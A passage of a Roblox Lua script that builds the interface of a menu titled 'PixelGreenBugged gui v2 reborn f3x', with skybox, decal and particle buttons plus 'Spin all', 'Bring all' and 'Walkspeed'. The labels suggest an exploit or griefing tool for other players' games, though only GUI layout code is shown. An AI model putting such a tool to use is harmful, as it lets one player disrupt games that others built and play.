local ScreenGui = Instance.new("ScreenGui") local PixelGreenBuggedrebornv2 = Instance.new("Frame") local Framez = Instance.new("Frame") local lmageLabel_1 = Instance.new("ImageLabel") local lmageLabel_2 = Instance.new("ImageLabel") local lmageLabel_3 = Instance.new("ImageLabel") local lmageLabel_4 = Instance.new("ImageLabel") local lmageLabel_5 = Instance.new("ImageLabel") local lmageLabel_6 = Instance.new("ImageLabel") local lmageLabel_7 = Instance.new("ImageLabel") local TextLabel_1 = Instance.new("TextLabel") local TextLabel_2 = Instance.new("TextLabel") local TextLabel_3 = Instance.new("TextLabel") local TextLabel_4 = Instance.new("TextLabel") local TextLabel_5 = Instance.new("TextLabel") local TextLabel_6 = Instance.new("TextLabel") local TextLabel_7 = Instance.new("TextLabel") local TextButton_1 = Instance.new("TextButton") local TextButton_2 = Instance.new("TextButton") local TextButton_3 = Instance.new("TextButton") local TextButton_4 = Instance.new("TextButton") local TextButton_5 = Instance.new("TextButton") local TextButton_6 = Instance.new("TextButton") local TextButton_7 = Instance.new("TextButton") local TextButton_8 = Instance.new("TextButton") local TextButton_9 = Instance.new("TextButton") local TextButton_10 = Instance.new("TextButton") local TextButton_11 = Instance.new("TextButton") local TextButton_12 = Instance.new("TextButton") local TextButton_13 = Instance.new("TextButton") local TextButton_14 = Instance.new("TextButton") local TextButton_15 = Instance.new("TextButton") local TextButton_16 = Instance.new("TextButton") local TextButton_17 = Instance.new("TextButton") local TextButton_18 = Instance.new("TextButton") local TextButton_19 = Instance.new("TextButton") local TextButton_20 = Instance.new("TextButton") local TextButton_21 = Instance.new("TextButton") local TextButton_22 = Instance.new("TextButton") local TextButton_23 = Instance.new("TextButton") local TextButton_24 = Instance.new("TextButton") local TextButton_25 = Instance.new("TextButton") local TextButton_26 = Instance.new("TextButton") local TextButton_27 = Instance.new("TextButton") local TextButton_28 = Instance.new("TextButton") local TextButton_29 = Instance.new("TextButton") local TextButton_30 = Instance.new("TextButton") local TextButton_31 = Instance.new("TextButton") local TextButton_32 = Instance.new("TextButton") local TextButton_33 = Instance.new("TextButton") local TextButton_34 = Instance.new("TextButton") local TextButton_35 = Instance.new("TextButton") local TextButton_36 = Instance.new("TextButton") local TextButton_37 = Instance.new("TextButton") local TextButton_38 = Instance.new("TextButton") local TextButton_39 = Instance.new("TextButton") local TextButton_40 = Instance.new("TextButton") local TextButton_41 = Instance.new("TextButton") local TextButton_42 = Instance.new("TextButton") local TextButton_43 = Instance.new("TextButton") local TextButton_44 = Instance.new("TextButton") local TextButton_45 = Instance.new("TextButton") local TextButton_46 = Instance.new("TextButton") local TextButton_47 = Instance.new("TextButton") local TextButton_48 = Instance.new("TextButton") local TextButton_49 = Instance.new("TextButton") local TextButton_50 = Instance.new("TextButton") local TextButton_51 = Instance.new("TextButton") local TextButton_52 = Instance.new("TextButton") local TextButton_53 = Instance.new("TextButton") local TextButton_54 = Instance.new("TextButton") local TextButton_55 = Instance.new("TextButton") -- Properties ScreenGui.Parent = game.Players.LocalPlayer:WaitForChild("PlayerGui") ScreenGui.ZIndexBehavior = Enum.ZIndexBehavior.Sibling ScreenGui.ResetOnSpawn = false PixelGreenBuggedrebornv2.Parent = ScreenGui PixelGreenBuggedrebornv2.BackgroundColor3 = Color3.fromRGB(0, 0, 0) PixelGreenBuggedrebornv2.BorderSizePixel = 5 PixelGreenBuggedrebornv2.BorderColor3 = Color3.fromRGB(0, 255, 1) PixelGreenBuggedrebornv2.BackgroundTransparency = 0 PixelGreenBuggedrebornv2.Position = UDim2.new(0.15, 0,0.026, 0) PixelGreenBuggedrebornv2.Size = UDim2.new(0, 703, 0, 500) PixelGreenBuggedrebornv2.ZIndex = 1 lmageLabel_1.Parent = PixelGreenBuggedrebornv2 lmageLabel_1.BorderSizePixel = 0 lmageLabel_1.ImageColor3 = Color3.fromRGB(255, 255, 255) lmageLabel_1.BackgroundColor3 = Color3.fromRGB(0, 0, 0) lmageLabel_1.Image = "rbxassetid://137445467424701" lmageLabel_1.Size = UDim2.new(0, 235, 0, 204) lmageLabel_1.BorderColor3 = Color3.fromRGB(255, 255, 0) lmageLabel_1.BackgroundTransparency = 1 lmageLabel_1.Position = UDim2.new(0.666, 0,0.592, 0) lmageLabel_1.ZIndex = 1 lmageLabel_2.Parent = PixelGreenBuggedrebornv2 lmageLabel_2.BorderSizePixel = 0 lmageLabel_2.ImageColor3 = Color3.fromRGB(255, 255, 255) lmageLabel_2.BackgroundColor3 = Color3.fromRGB(252, 255, 255) lmageLabel_2.Image = "rbxassetid://137445467424701" lmageLabel_2.Size = UDim2.new(0, 235, 0, 204) lmageLabel_2.BorderColor3 = Color3.fromRGB(0, 0, 0) lmageLabel_2.BackgroundTransparency = 5 lmageLabel_2.Position = UDim2.new(-0.003, 0,0.624, 0) lmageLabel_2.ZIndex = 1 lmageLabel_3.Parent = PixelGreenBuggedrebornv2 lmageLabel_3.BorderSizePixel = 0 lmageLabel_3.ImageColor3 = Color3.fromRGB(255, 255, 255) lmageLabel_3.BackgroundColor3 = Color3.fromRGB(252, 255, 255) lmageLabel_3.Image = "rbxassetid://137445467424701" lmageLabel_3.Size = UDim2.new(0, 235, 0, 169) lmageLabel_3.BorderColor3 = Color3.fromRGB(0, 0, 0) lmageLabel_3.BackgroundTransparency = 5 lmageLabel_3.Position = UDim2.new(-0.003, 0,0.194, 0) lmageLabel_3.ZIndex = 1 lmageLabel_4.Parent = PixelGreenBuggedrebornv2 lmageLabel_4.BorderSizePixel = 0 lmageLabel_4.ImageColor3 = Color3.fromRGB(255, 255, 255) lmageLabel_4.BackgroundColor3 = Color3.fromRGB(252, 255, 255) lmageLabel_4.Image = "rbxassetid://137445467424701" lmageLabel_4.Size = UDim2.new(0, 235, 0, 169) lmageLabel_4.BorderColor3 = Color3.fromRGB(0, 0, 0) lmageLabel_4.BackgroundTransparency = 5 lmageLabel_4.Position = UDim2.new(0.666, 0,0.194, 0) lmageLabel_4.ZIndex = 1 lmageLabel_5.Parent = PixelGreenBuggedrebornv2 lmageLabel_5.BorderSizePixel = 0 lmageLabel_5.ImageColor3 = Color3.fromRGB(255, 255, 255) lmageLabel_5.BackgroundColor3 = Color3.fromRGB(252, 255, 255) lmageLabel_5.Image = "rbxassetid://137445467424701" lmageLabel_5.Size = UDim2.new(0, 235, 0, 403) lmageLabel_5.BorderColor3 = Color3.fromRGB(0, 0, 0) lmageLabel_5.BackgroundTransparency = 5 lmageLabel_5.Position = UDim2.new(0.356, 0,0.194, 0) lmageLabel_5.ZIndex = 1 TextLabel_1.Parent = PixelGreenBuggedrebornv2 TextLabel_1.BackgroundTransparency = 0 TextLabel_1.Size = UDim2.new(0, 703, 0, 50) TextLabel_1.Font = Enum.Font.SourceSansBold TextLabel_1.Text = "PixelGreenBugged gui v2 reborn f3x" TextLabel_1.Position = UDim2.new(0, 0, 0, 0) TextLabel_1.TextColor3 = Color3.fromRGB(0, 255, 48) TextLabel_1.BorderColor3 = Color3.fromRGB(15, 255, 0) TextLabel_1.BackgroundColor3 = Color3.fromRGB(0, 0, 0) TextLabel_1.FontFace = Font.new("rbxasset://fonts/families/SourceSansPro.json") TextLabel_1.BorderSizePixel = 5 TextLabel_1.TextScaled = true TextLabel_1.ZIndex = 1 TextLabel_2.Parent = lmageLabel_1 TextLabel_2.BackgroundTransparency = 1 TextLabel_2.Size = UDim2.new(0, 234, 0, 50) TextLabel_2.Font = Enum.Font.SourceSansBold TextLabel_2.Text = "-- SKYBOX --" TextLabel_2.Position = UDim2.new(0, 0,-0.245, 0) TextLabel_2.TextColor3 = Color3.fromRGB(93, 255, 0) TextLabel_2.BorderColor3 = Color3.fromRGB(0, 0, 0) TextLabel_2.BackgroundColor3 = Color3.fromRGB(0, 0, 0) TextLabel_2.FontFace = Font.new("rbxasset://fonts/families/Michroma.json") TextLabel_2.BorderSizePixel = 0 TextLabel_2.TextSize = 30 TextLabel_2.ZIndex = 1 TextLabel_3.Parent = lmageLabel_2 TextLabel_3.BackgroundTransparency = 1 TextLabel_3.Size = UDim2.new(0, 234, 0, 50) TextLabel_3.Font = Enum.Font.SourceSansBold TextLabel_3.Text = "-- DECAL --" TextLabel_3.Position = UDim2.new(0, 0,-0.245, 0) TextLabel_3.TextColor3 = Color3.fromRGB(93, 255, 0) TextLabel_3.BorderColor3 = Color3.fromRGB(0, 0, 0) TextLabel_3.BackgroundColor3 = Color3.fromRGB(0, 0, 0) TextLabel_3.FontFace = Font.new("rbxasset://fonts/families/Michroma.json") TextLabel_3.BorderSizePixel = 0 TextLabel_3.TextSize = 30 TextLabel_3.ZIndex = 1 TextLabel_4.Parent = lmageLabel_3 TextLabel_4.BackgroundTransparency = 1 TextLabel_4.Size = UDim2.new(0, 234, 0, 50) TextLabel_4.Font = Enum.Font.SourceSansBold TextLabel_4.Text = "-- PARTICLES --" TextLabel_4.Position = UDim2.new(0.017, 0,-0.257, 0) TextLabel_4.TextColor3 = Color3.fromRGB(93, 255, 0) TextLabel_4.BorderColor3 = Color3.fromRGB(0, 0, 0) TextLabel_4.BackgroundColor3 = Color3.fromRGB(0, 0, 0) TextLabel_4.FontFace = Font.new("rbxasset://fonts/families/Michroma.json") TextLabel_4.BorderSizePixel = 0 TextLabel_4.TextSize = 30 TextLabel_4.ZIndex = 1 TextLabel_5.Parent = lmageLabel_4 TextLabel_5.BackgroundTransparency = 1 TextLabel_5.Size = UDim2.new(0, 234, 0, 50) TextLabel_5.Font = Enum.Font.SourceSansBold TextLabel_5.Text = "-- -- COMMAND -- --" TextLabel_5.Position = UDim2.new(0, 0,-0.239, 0) TextLabel_5.TextColor3 = Color3.fromRGB(93, 255, 0) TextLabel_5.BorderColor3 = Color3.fromRGB(0, 0, 0) TextLabel_5.BackgroundColor3 = Color3.fromRGB(0, 0, 0) TextLabel_5.FontFace = Font.new("rbxasset://fonts/families/Michroma.json") TextLabel_5.BorderSizePixel = 0 TextLabel_5.TextSize = 30 TextLabel_5.ZIndex = 1 TextLabel_6.Parent = lmageLabel_5 TextLabel_6.BackgroundTransparency = 1 TextLabel_6.Size = UDim2.new(0, 218, 0, 50) TextLabel_6.Font = Enum.Font.SourceSansBold TextLabel_6.Text = "-- EXTRAS --" TextLabel_6.Position = UDim2.new(-0.06, 0,-0.107, 0) TextLabel_6.TextColor3 = Color3.fromRGB(93, 255, 0) TextLabel_6.BorderColor3 = Color3.fromRGB(0, 0, 0) TextLabel_6.BackgroundColor3 = Color3.fromRGB(0, 0, 0) TextLabel_6.FontFace = Font.new("rbxasset://fonts/families/Michroma.json") TextLabel_6.BorderSizePixel = 0 TextLabel_6.TextSize = 30 TextLabel_6.ZIndex = 1 TextButton_1.Parent = lmageLabel_1 TextButton_1.BackgroundTransparency = 0.5 TextButton_1.Size = UDim2.new(0, 78, 0, 33) TextButton_1.Font = Enum.Font.SourceSansBold TextButton_1.Text = "Skybox 1" TextButton_1.Position = UDim2.new(0.072, 0,0.025, 0) TextButton_1.TextColor3 = Color3.fromRGB(0, 255, 60) TextButton_1.BorderColor3 = Color3.fromRGB(21, 255, 0) TextButton_1.BackgroundColor3 = Color3.fromRGB(0, 0, 0) TextButton_1.FontFace = Font.new("rbxasset://fonts/families/SourceSansPro.json") TextButton_1.BorderSizePixel = 5 TextButton_1.TextScaled = true TextButton_1.ZIndex = 1 TextButton_2.Parent = lmageLabel_1 TextButton_2.BackgroundTransparency = 0.5 TextButton_2.Size = UDim2.new(0, 78, 0, 33) TextButton_2.Font = Enum.Font.SourceSansBold TextButton_2.Text = "Skybox 5" TextButton_2.Position = UDim2.new(0.553, 0,0.025, 0) TextButton_2.TextColor3 = Color3.fromRGB(0, 255, 60) TextButton_2.BorderColor3 = Color3.fromRGB(21, 255, 0) TextButton_2.BackgroundColor3 = Color3.fromRGB(0, 0, 0) TextButton_2.FontFace = Font.new("rbxasset://fonts/families/SourceSansPro.json") TextButton_2.BorderSizePixel = 5 TextButton_2.TextScaled = true TextButton_2.ZIndex = 1 TextButton_3.Parent = lmageLabel_1 TextButton_3.BackgroundTransparency = 0.5 TextButton_3.Size = UDim2.new(0, 78, 0, 33) TextButton_3.Font = Enum.Font.SourceSansBold TextButton_3.Text = "Skybox 6" TextButton_3.Position = UDim2.new(0.553, 0,0.255, 0) TextButton_3.TextColor3 = Color3.fromRGB(0, 255, 60) TextButton_3.BorderColor3 = Color3.fromRGB(21, 255, 0) TextButton_3.BackgroundColor3 = Color3.fromRGB(0, 0, 0) TextButton_3.FontFace = Font.new("rbxasset://fonts/families/SourceSansPro.json") TextButton_3.BorderSizePixel = 5 TextButton_3.TextScaled = true TextButton_3.ZIndex = 1 TextButton_4.Parent = lmageLabel_1 TextButton_4.BackgroundTransparency = 0.5 TextButton_4.Size = UDim2.new(0, 78, 0, 33) TextButton_4.Font = Enum.Font.SourceSansBold TextButton_4.Text = "Skybox 2" TextButton_4.Position = UDim2.new(0.072, 0,0.255, 0) TextButton_4.TextColor3 = Color3.fromRGB(0, 255, 60) TextButton_4.BorderColor3 = Color3.fromRGB(21, 255, 0) TextButton_4.BackgroundColor3 = Color3.fromRGB(0, 0, 0) TextButton_4.FontFace = Font.new("rbxasset://fonts/families/SourceSansPro.json") TextButton_4.BorderSizePixel = 5 TextButton_4.TextScaled = true TextButton_4.ZIndex = 1 TextButton_5.Parent = lmageLabel_1 TextButton_5.BackgroundTransparency = 0.5 TextButton_5.Size = UDim2.new(0, 78, 0, 33) TextButton_5.Font = Enum.Font.SourceSansBold TextButton_5.Text = "Skybox 7" TextButton_5.Position = UDim2.new(0.553, 0,0.495, 0) TextButton_5.TextColor3 = Color3.fromRGB(0, 255, 60) TextButton_5.BorderColor3 = Color3.fromRGB(21, 255, 0) TextButton_5.BackgroundColor3 = Color3.fromRGB(0, 0, 0) TextButton_5.FontFace = Font.new("rbxasset://fonts/families/SourceSansPro.json") TextButton_5.BorderSizePixel = 5 TextButton_5.TextScaled = true TextButton_5.ZIndex = 1 TextButton_6.Parent = lmageLabel_1 TextButton_6.BackgroundTransparency = 0.5 TextButton_6.Size = UDim2.new(0, 78, 0, 33) TextButton_6.Font = Enum.Font.SourceSansBold TextButton_6.Text = "Skybox 3" TextButton_6.Position = UDim2.new(0.072, 0,0.495, 0) TextButton_6.TextColor3 = Color3.fromRGB(0, 255, 60) TextButton_6.BorderColor3 = Color3.fromRGB(21, 255, 0) TextButton_6.BackgroundColor3 = Color3.fromRGB(0, 0, 0) TextButton_6.FontFace = Font.new("rbxasset://fonts/families/SourceSansPro.json") TextButton_6.BorderSizePixel = 5 TextButton_6.TextScaled = true TextButton_6.ZIndex = 1 TextButton_7.Parent = lmageLabel_1 TextButton_7.BackgroundTransparency = 0.5 TextButton_7.Size = UDim2.new(0, 78, 0, 33) TextButton_7.Font = Enum.Font.SourceSansBold TextButton_7.Text = "Skybox 4" TextButton_7.Position = UDim2.new(0.072, 0,0.74, 0) TextButton_7.TextColor3 = Color3.fromRGB(0, 255, 60) TextButton_7.BorderColor3 = Color3.fromRGB(21, 255, 0) TextButton_7.BackgroundColor3 = Color3.fromRGB(0, 0, 0) TextButton_7.FontFace = Font.new("rbxasset://fonts/families/SourceSansPro.json") TextButton_7.BorderSizePixel = 5 TextButton_7.TextScaled = true TextButton_7.ZIndex = 1 TextButton_8.Parent = lmageLabel_1 TextButton_8.BackgroundTransparency = 0.5 TextButton_8.Size = UDim2.new(0, 78, 0, 33) TextButton_8.Font = Enum.Font.SourceSansBold TextButton_8.Text = "Skybox 8" TextButton_8.Position = UDim2.new(0.553, 0,0.74, 0) TextButton_8.TextColor3 = Color3.fromRGB(0, 255, 60) TextButton_8.BorderColor3 = Color3.fromRGB(21, 255, 0) TextButton_8.BackgroundColor3 = Color3.fromRGB(0, 0, 0) TextButton_8.FontFace = Font.new("rbxasset://fonts/families/SourceSansPro.json") TextButton_8.BorderSizePixel = 5 TextButton_8.TextScaled = true TextButton_8.ZIndex = 1 TextButton_9.Parent = lmageLabel_2 TextButton_9.BackgroundTransparency = 0.5 TextButton_9.Size = UDim2.new(0, 78, 0, 33) TextButton_9.Font = Enum.Font.SourceSansBold TextButton_9.Text = "Decal 1" TextButton_9.Position = UDim2.new(0.085, 0,-0.005, 0) TextButton_9.TextColor3 = Color3.fromRGB(0, 255, 60) TextButton_9.BorderColor3 = Color3.fromRGB(21, 255, 0) TextButton_9.BackgroundColor3 = Color3.fromRGB(0, 0, 0) TextButton_9.FontFace = Font.new("rbxasset://fonts/families/SourceSansPro.json") TextButton_9.BorderSizePixel = 5 TextButton_9.TextScaled = true TextButton_9.ZIndex = 1 TextButton_10.Parent = lmageLabel_2 TextButton_10.BackgroundTransparency = 0.5 TextButton_10.Size = UDim2.new(0, 78, 0, 33) TextButton_10.Font = Enum.Font.SourceSansBold TextButton_10.Text = "Decal 2" TextButton_10.Position = UDim2.new(0.085, 0,0.235, 0) TextButton_10.TextColor3 = Color3.fromRGB(0, 255, 60) TextButton_10.BorderColor3 = Color3.fromRGB(21, 255, 0) TextButton_10.BackgroundColor3 = Color3.fromRGB(0, 0, 0) TextButton_10.FontFace = Font.new("rbxasset://fonts/families/SourceSansPro.json") TextButton_10.BorderSizePixel = 5 TextButton_10.TextScaled = true TextButton_10.ZIndex = 1 TextButton_11.Parent = lmageLabel_2 TextButton_11.BackgroundTransparency = 0.5 TextButton_11.Size = UDim2.new(0, 78, 0, 33) TextButton_11.Font = Enum.Font.SourceSansBold TextButton_11.Text = "Decal 3" TextButton_11.Position = UDim2.new(0.085, 0,0.461, 0) TextButton_11.TextColor3 = Color3.fromRGB(0, 255, 60) TextButton_11.BorderColor3 = Color3.fromRGB(21, 255, 0) TextButton_11.BackgroundColor3 = Color3.fromRGB(0, 0, 0) TextButton_11.FontFace = Font.new("rbxasset://fonts/families/SourceSansPro.json") TextButton_11.BorderSizePixel = 5 TextButton_11.TextScaled = true TextButton_11.ZIndex = 1 TextButton_12.Parent = lmageLabel_2 TextButton_12.BackgroundTransparency = 0.5 TextButton_12.Size = UDim2.new(0, 78, 0, 33) TextButton_12.Font = Enum.Font.SourceSansBold TextButton_12.Text = "Decal 4" TextButton_12.Position = UDim2.new(0.085, 0,0.711, 0) TextButton_12.TextColor3 = Color3.fromRGB(0, 255, 60) TextButton_12.BorderColor3 = Color3.fromRGB(21, 255, 0) TextButton_12.BackgroundColor3 = Color3.fromRGB(0, 0, 0) TextButton_12.FontFace = Font.new("rbxasset://fonts/families/SourceSansPro.json") TextButton_12.BorderSizePixel = 5 TextButton_12.TextScaled = true TextButton_12.ZIndex = 1 TextButton_13.Parent = lmageLabel_2 TextButton_13.BackgroundTransparency = 0.5 TextButton_13.Size = UDim2.new(0, 78, 0, 33) TextButton_13.Font = Enum.Font.SourceSansBold TextButton_13.Text = "Decal 5" TextButton_13.Position = UDim2.new(0.545, 0,-0.005, 0) TextButton_13.TextColor3 = Color3.fromRGB(0, 255, 60) TextButton_13.BorderColor3 = Color3.fromRGB(21, 255, 0) TextButton_13.BackgroundColor3 = Color3.fromRGB(0, 0, 0) TextButton_13.FontFace = Font.new("rbxasset://fonts/families/SourceSansPro.json") TextButton_13.BorderSizePixel = 5 TextButton_13.TextScaled = true TextButton_13.ZIndex = 1 TextButton_14.Parent = lmageLabel_2 TextButton_14.BackgroundTransparency = 0.5 TextButton_14.Size = UDim2.new(0, 78, 0, 33) TextButton_14.Font = Enum.Font.SourceSansBold TextButton_14.Text = "Decal 6" TextButton_14.Position = UDim2.new(0.545, 0,0.235, 0) TextButton_14.TextColor3 = Color3.fromRGB(0, 255, 60) TextButton_14.BorderColor3 = Color3.fromRGB(21, 255, 0) TextButton_14.BackgroundColor3 = Color3.fromRGB(0, 0, 0) TextButton_14.FontFace = Font.new("rbxasset://fonts/families/SourceSansPro.json") TextButton_14.BorderSizePixel = 5 TextButton_14.TextScaled = true TextButton_14.ZIndex = 1 TextButton_15.Parent = lmageLabel_2 TextButton_15.BackgroundTransparency = 0.5 TextButton_15.Size = UDim2.new(0, 78, 0, 33) TextButton_15.Font = Enum.Font.SourceSansBold TextButton_15.Text = "Decal 7" TextButton_15.Position = UDim2.new(0.545, 0,0.461, 0) TextButton_15.TextColor3 = Color3.fromRGB(0, 255, 60) TextButton_15.BorderColor3 = Color3.fromRGB(21, 255, 0) TextButton_15.BackgroundColor3 = Color3.fromRGB(0, 0, 0) TextButton_15.FontFace = Font.new("rbxasset://fonts/families/SourceSansPro.json") TextButton_15.BorderSizePixel = 5 TextButton_15.TextScaled = true TextButton_15.ZIndex = 1 TextButton_16.Parent = lmageLabel_2 TextButton_16.BackgroundTransparency = 0.5 TextButton_16.Size = UDim2.new(0, 78, 0, 33) TextButton_16.Font = Enum.Font.SourceSansBold TextButton_16.Text = "Decal 8" TextButton_16.Position = UDim2.new(0.545, 0,0.711, 0) TextButton_16.TextColor3 = Color3.fromRGB(0, 255, 60) TextButton_16.BorderColor3 = Color3.fromRGB(21, 255, 0) TextButton_16.BackgroundColor3 = Color3.fromRGB(0, 0, 0) TextButton_16.FontFace = Font.new("rbxasset://fonts/families/SourceSansPro.json") TextButton_16.BorderSizePixel = 5 TextButton_16.TextScaled = true TextButton_16.ZIndex = 1 TextButton_17.Parent = lmageLabel_3 TextButton_17.BackgroundTransparency = 0.5 TextButton_17.Size = UDim2.new(0, 78, 0, 33) TextButton_17.Font = Enum.Font.SourceSansBold TextButton_17.Text = "Particles 1" TextButton_17.Position = UDim2.new(0.051, 0,-0.005, 0) TextButton_17.TextColor3 = Color3.fromRGB(0, 255, 60) TextButton_17.BorderColor3 = Color3.fromRGB(21, 255, 0) TextButton_17.BackgroundColor3 = Color3.fromRGB(0, 0, 0) TextButton_17.FontFace = Font.new("rbxasset://fonts/families/SourceSansPro.json") TextButton_17.BorderSizePixel = 5 TextButton_17.TextScaled = true TextButton_17.ZIndex = 1 TextButton_18.Parent = lmageLabel_3 TextButton_18.BackgroundTransparency = 0.5 TextButton_18.Size = UDim2.new(0, 78, 0, 33) TextButton_18.Font = Enum.Font.SourceSansBold TextButton_18.Text = "Particles 2" TextButton_18.Position = UDim2.new(0.051, 0,0.297, 0) TextButton_18.TextColor3 = Color3.fromRGB(0, 255, 60) TextButton_18.BorderColor3 = Color3.fromRGB(21, 255, 0) TextButton_18.BackgroundColor3 = Color3.fromRGB(0, 0, 0) TextButton_18.FontFace = Font.new("rbxasset://fonts/families/SourceSansPro.json") TextButton_18.BorderSizePixel = 5 TextButton_18.TextScaled = true TextButton_18.ZIndex = 1 TextButton_19.Parent = lmageLabel_3 TextButton_19.BackgroundTransparency = 0.5 TextButton_19.Size = UDim2.new(0, 78, 0, 33) TextButton_19.Font = Enum.Font.SourceSansBold TextButton_19.Text = "Particles 3" TextButton_19.Position = UDim2.new(0.051, 0,0.599, 0) TextButton_19.TextColor3 = Color3.fromRGB(0, 255, 60) TextButton_19.BorderColor3 = Color3.fromRGB(21, 255, 0) TextButton_19.BackgroundColor3 = Color3.fromRGB(0, 0, 0) TextButton_19.FontFace = Font.new("rbxasset://fonts/families/SourceSansPro.json") TextButton_19.BorderSizePixel = 5 TextButton_19.TextScaled = true TextButton_19.ZIndex = 1 TextButton_20.Parent = lmageLabel_3 TextButton_20.BackgroundTransparency = 0.5 TextButton_20.Size = UDim2.new(0, 78, 0, 33) TextButton_20.Font = Enum.Font.SourceSansBold TextButton_20.Text = "Particles 4" TextButton_20.Position = UDim2.new(0.051, 0,0.877, 0) TextButton_20.TextColor3 = Color3.fromRGB(0, 255, 60) TextButton_20.BorderColor3 = Color3.fromRGB(21, 255, 0) TextButton_20.BackgroundColor3 = Color3.fromRGB(0, 0, 0) TextButton_20.FontFace = Font.new("rbxasset://fonts/families/SourceSansPro.json") TextButton_20.BorderSizePixel = 5 TextButton_20.TextScaled = true TextButton_20.ZIndex = 1 TextButton_21.Parent = lmageLabel_3 TextButton_21.BackgroundTransparency = 0.5 TextButton_21.Size = UDim2.new(0, 78, 0, 33) TextButton_21.Font = Enum.Font.SourceSansBold TextButton_21.Text = "Particles 5" TextButton_21.Position = UDim2.new(0.609, 0,-0.005, 0) TextButton_21.TextColor3 = Color3.fromRGB(0, 255, 60) TextButton_21.BorderColor3 = Color3.fromRGB(21, 255, 0) TextButton_21.BackgroundColor3 = Color3.fromRGB(0, 0, 0) TextButton_21.FontFace = Font.new("rbxasset://fonts/families/SourceSansPro.json") TextButton_21.BorderSizePixel = 5 TextButton_21.TextScaled = true TextButton_21.ZIndex = 1 TextButton_22.Parent = lmageLabel_3 TextButton_22.BackgroundTransparency = 0.5 TextButton_22.Size = UDim2.new(0, 78, 0, 33) TextButton_22.Font = Enum.Font.SourceSansBold TextButton_22.Text = "Particles 6" TextButton_22.Position = UDim2.new(0.609, 0,0.297, 0) TextButton_22.TextColor3 = Color3.fromRGB(0, 255, 60) TextButton_22.BorderColor3 = Color3.fromRGB(21, 255, 0) TextButton_22.BackgroundColor3 = Color3.fromRGB(0, 0, 0) TextButton_22.FontFace = Font.new("rbxasset://fonts/families/SourceSansPro.json") TextButton_22.BorderSizePixel = 5 TextButton_22.TextScaled = true TextButton_22.ZIndex = 1 TextButton_23.Parent = lmageLabel_3 TextButton_23.BackgroundTransparency = 0.5 TextButton_23.Size = UDim2.new(0, 78, 0, 33) TextButton_23.Font = Enum.Font.SourceSansBold TextButton_23.Text = "Particles 7" TextButton_23.Position = UDim2.new(0.609, 0,0.599, 0) TextButton_23.TextColor3 = Color3.fromRGB(0, 255, 60) TextButton_23.BorderColor3 = Color3.fromRGB(21, 255, 0) TextButton_23.BackgroundColor3 = Color3.fromRGB(0, 0, 0) TextButton_23.FontFace = Font.new("rbxasset://fonts/families/SourceSansPro.json") TextButton_23.BorderSizePixel = 5 TextButton_23.TextScaled = true TextButton_23.ZIndex = 1 TextButton_24.Parent = lmageLabel_3 TextButton_24.BackgroundTransparency = 0.5 TextButton_24.Size = UDim2.new(0, 78, 0, 33) TextButton_24.Font = Enum.Font.SourceSansBold TextButton_24.Text = "Particles 8" TextButton_24.Position = UDim2.new(0.609, 0,0.877, 0) TextButton_24.TextColor3 = Color3.fromRGB(0, 255, 60) TextButton_24.BorderColor3 = Color3.fromRGB(21, 255, 0) TextButton_24.BackgroundColor3 = Color3.fromRGB(0, 0, 0) TextButton_24.FontFace = Font.new("rbxasset://fonts/families/SourceSansPro.json") TextButton_24.BorderSizePixel = 5 TextButton_24.TextScaled = true TextButton_24.ZIndex = 1 TextButton_25.Parent = lmageLabel_4 TextButton_25.BackgroundTransparency = 0.5 TextButton_25.Size = UDim2.new(0, 78, 0, 33) TextButton_25.Font = Enum.Font.SourceSansBold TextButton_25.Text = "Spin all" TextButton_25.Position = UDim2.new(0.072, 0,0.054, 0) TextButton_25.TextColor3 = Color3.fromRGB(0, 255, 60) TextButton_25.BorderColor3 = Color3.fromRGB(21, 255, 0) TextButton_25.BackgroundColor3 = Color3.fromRGB(0, 0, 0) TextButton_25.FontFace = Font.new("rbxasset://fonts/families/SourceSansPro.json") TextButton_25.BorderSizePixel = 5 TextButton_25.TextScaled = true TextButton_25.ZIndex = 1 TextButton_26.Parent = lmageLabel_4 TextButton_26.BackgroundTransparency = 0.5 TextButton_26.Size = UDim2.new(0, 78, 0, 33) TextButton_26.Font = Enum.Font.SourceSansBold TextButton_26.Text = "Notice all" TextButton_26.Position = UDim2.new(0.6, 0,0.048, 0) TextButton_26.TextColor3 = Color3.fromRGB(0, 255, 60) TextButton_26.BorderColor3 = Color3.fromRGB(21, 255, 0) TextButton_26.BackgroundColor3 = Color3.fromRGB(0, 0, 0) TextButton_26.FontFace = Font.new("rbxasset://fonts/families/SourceSansPro.json") TextButton_26.BorderSizePixel = 5 TextButton_26.TextScaled = true TextButton_26.ZIndex = 1 TextButton_27.Parent = lmageLabel_4 TextButton_27.BackgroundTransparency = 0.5 TextButton_27.Size = UDim2.new(0, 78, 0, 33) TextButton_27.Font = Enum.Font.SourceSansBold TextButton_27.Text = "Walkspeed" TextButton_27.Position = UDim2.new(0.6, 0,0.338, 0) TextButton_27.TextColor3 = Color3.fromRGB(0, 255, 60) TextButton_27.BorderColor3 = Color3.fromRGB(21, 255, 0) TextButton_27.BackgroundColor3 = Color3.fromRGB(0, 0, 0) TextButton_27.FontFace = Font.new("rbxasset://fonts/families/SourceSansPro.json") TextButton_27.BorderSizePixel = 5 TextButton_27.TextScaled = true TextButton_27.ZIndex = 1 TextButton_28.Parent = lmageLabel_4 TextButton_28.BackgroundTransparency = 0.5 TextButton_28.Size = UDim2.new(0, 78, 0, 33) TextButton_28.Font = Enum.Font.SourceSansBold TextButton_28.Text = "Title pixel" TextButton_28.Position = UDim2.new(0.6, 0,0.61, 0) TextButton_28.TextColor3 = Color3.fromRGB(0, 255, 60) TextButton_28.BorderColor3 = Color3.fromRGB(21, 255, 0) TextButton_28.BackgroundColor3 = Color3.fromRGB(0, 0, 0) TextButton_28.FontFace = Font.new("rbxasset://fonts/families/SourceSansPro.json") TextButton_28.BorderSizePixel = 5 TextButton_28.TextScaled = true TextButton_28.ZIndex = 1 TextButton_29.Parent = lmageLabel_4 TextButton_29.BackgroundTransparency = 0.5 TextButton_29.Size = UDim2.new(0, 78, 0, 33) TextButton_29.Font = Enum.Font.SourceSansBold TextButton_29.Text = "Bring all" TextButton_29.Position = UDim2.new(0.072, 0,0.61, 0) TextButton_29.TextColor3 = Color3.fromRGB(0, 255, 60) TextButton_29.BorderColor3 = Color3.fromRGB(21, 255, 0) TextButton_29.BackgroundColor3 = Color3.fromRGB(0, 0, 0) TextButton_29.FontFace = Font.new("rbxasset://fonts/families/SourceSansPro.json") TextButton_29.BorderSizePixel = 5 TextButton_29.TextScaled = true TextButton_29.ZIndex = 1 TextButton_30.Parent = lmageLabel_4 TextButton_30.BackgroundTransparency = 0.5 TextButton_30.Size = 